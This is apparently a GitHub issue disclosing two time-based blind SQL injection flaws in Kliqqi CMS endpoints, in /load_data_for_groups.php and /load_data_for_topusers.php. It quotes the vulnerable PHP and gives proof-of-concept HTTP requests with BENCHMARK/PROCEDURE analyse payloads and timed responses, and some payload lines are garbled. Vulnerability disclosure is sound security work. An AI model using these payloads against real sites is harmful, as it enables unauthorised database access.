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SQL Injection Vulnerabilities #261

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xiaoxianghuayu opened this issue on Jul 3 · 2 comments

xiaoxianghuayu commented on Jul 3

There are 2 time-based SQL Injection Vulnerabilities, in /load_data_for_groups.php and /load_data_for_topusers.php respectively.

ENV:

ubuntu14.04

php 5.5.9

mysql 5.5.62

SQL Injection in /load_data_for_groups.php

vulnerable code:

Line16: the \$page_size is user controllable and directly used in sql statement which may cause a time-based sql injection

```
--
13 $start_up = isset($_REQUEST['start_up']) ? $_REQUEST['start_up'] : "";
14 $page_size = isset($_REQUEST['pagesize']) ? $_REQUEST['pagesize'] : "";
15
16 $group = $db->get_results("SELECT * FROM " . table_groups . " WHERE group_status='Enable' ORDER BY group_status, group_date DESC LIMIT $start_up, $page_size");
17
```

POC:

trigger the sql injection(my mysql version is 5.5.62):

Request

RawParamsHeadersHex

GET /load_data_for_group.php?start=1&pagesize=1%20PROCEDURE%20analyse((extractvalue(rand()),concat(0x3a,(IF(MID(version(),1,1)+LIKE+5,%20BENCHMARK(5000000,SHA1(1))),1))))); HTTP/1.1 Host: :9999 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __atuvc=9%7C26; PHPSESSID=gugab5u4tn28om9ojqc095h3h6 Connection: close

Response

RawHeadersHex

HTTP/1.1 200 OK Date: Mon, 04 Jul 2022 02:44:42 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3 Connection: close Content-Type: text/html

327 bytes | 1,890 millis

do not trigger:

Request

RawParamsHeadersHex

GET /load_data_for_group.php?start=1&pagesize=1%20PROCEDURE%20analyse((extractvalue(rand()),concat(0x3a,(IF(MID(version(),1,1)+LIKE+6,%20BENCHMARK(5000000,SHA1(1))),1))))); HTTP/1.1 Host: :9999 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __atuvc=9%7C26; PHPSESSID=gugab5u4tn28om9ojqc095h3h6 Connection: close

Response

RawHeadersHex

HTTP/1.1 200 OK Date: Mon, 04 Jul 2022 02:45:21 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3 Connection: close Content-Type: text/html

327 bytes | 31 millis

SQL Injection in /load_data_for_topusers.php

vulnerable code:

Line30: the \$page_size is user controllable and directly used in sql statement which may cause a time-based sql injection

```
13
14 $start_up = isset($_REQUEST['start_up'])? $_REQUEST['start_up'] : "";
15 $page_size = isset($_REQUEST['pagesize']) ? $_REQUEST['pagesize'] : "";
16
17
18 $users = $db->get_results("SELECT user_karma, COUNT(*) FROM `table_users` WHERE user_karma > 0 $whether_to_show_user GROUP BY user_karma ORDER BY user_karma DESC", ARRAY_N);
19
20 $ranklist = array();
21 $rank = 1;
22 if ($users)
23     foreach ($users as $dbuser)
24     {
25         $ranklist[$dbuser[0]] = $rank;
26         $rank += $dbuser[1];
27     }
28
29
30 $users = $db->get_results("SELECT user_id FROM pligg_users WHERE user_karma > 0 AND user_enabled = 1 AND user_level <> 'Spammer' AND (user_login != 'anonymous' OR user_lastip) ORDER BY user_karma DESC LIMIT $start_up, $page_size");
31
32 $user = new User;
```

POC:

trigger the sql injection(my mysql version is 5.5.62):

Send Cancel < >

Target: http://192.168.1.100:9999

Request

Raw Params Headers Hex

GET /load_data_for_topusers.php?start_up=1&pagesize=1%20PROCEDURE%20analyse((extractvalue(rand)0.concat(0x3a,(IF(MD(version()>5.5.62)0BENCHMARK(5000000,SHA1(1)),1))))).1 HTTP/1.1

Host: 192.168.1.100:9999

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: __atuvc=9%7C26; PHPSESSID=gugab5u4tn28om9ojqc095h3h6

Connection: close

Response

Raw Headers Hex

HTTP/1.1 200 OK

Date: Mon, 04 Jul 2022 02:40:07 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.29

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Length: 0

Connection: close

Content-Type: text/html

0 matches

0 matches

324 bytes 1,876 millis

do not trigger:

SendCancel<>

Target: http://10.10.10.10:9999

Request

RawParamsHeadersHex

GET /load_data_for_topusers.php?start_up=1&page_size=1%20PROCEDURE%20analyse((extractvalue(rand(),concat(0x3a,(if(Mid(version(),1,1)+LIKE+6,%20BENCHMARK(5000000,SHA1(1))),1))))); HTTP/1.1 Host: 10.10.10.10:9999 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __atuvc=9%7C26; PHPSESSID=gugab5u4tn28om9ojqc095h3h6 Connection: close

Response

RawHeadersHex

HTTP/1.1 200 OK Date: Mon, 04 Jul 2022 02:39:19 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html

0 matches0 matches

Done324 bytes31 millis

1

sqrtZeroKnowled... commented on Jul 19

I confirm, It's blind SQL INJECTION.

redwinefireplace commented on Sep 23

Kliqqi has been discontinued since 2018. I wouldn't recommend using it.

Assignees

No one assigned

Labels

None yet

Projects

None yet

none yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

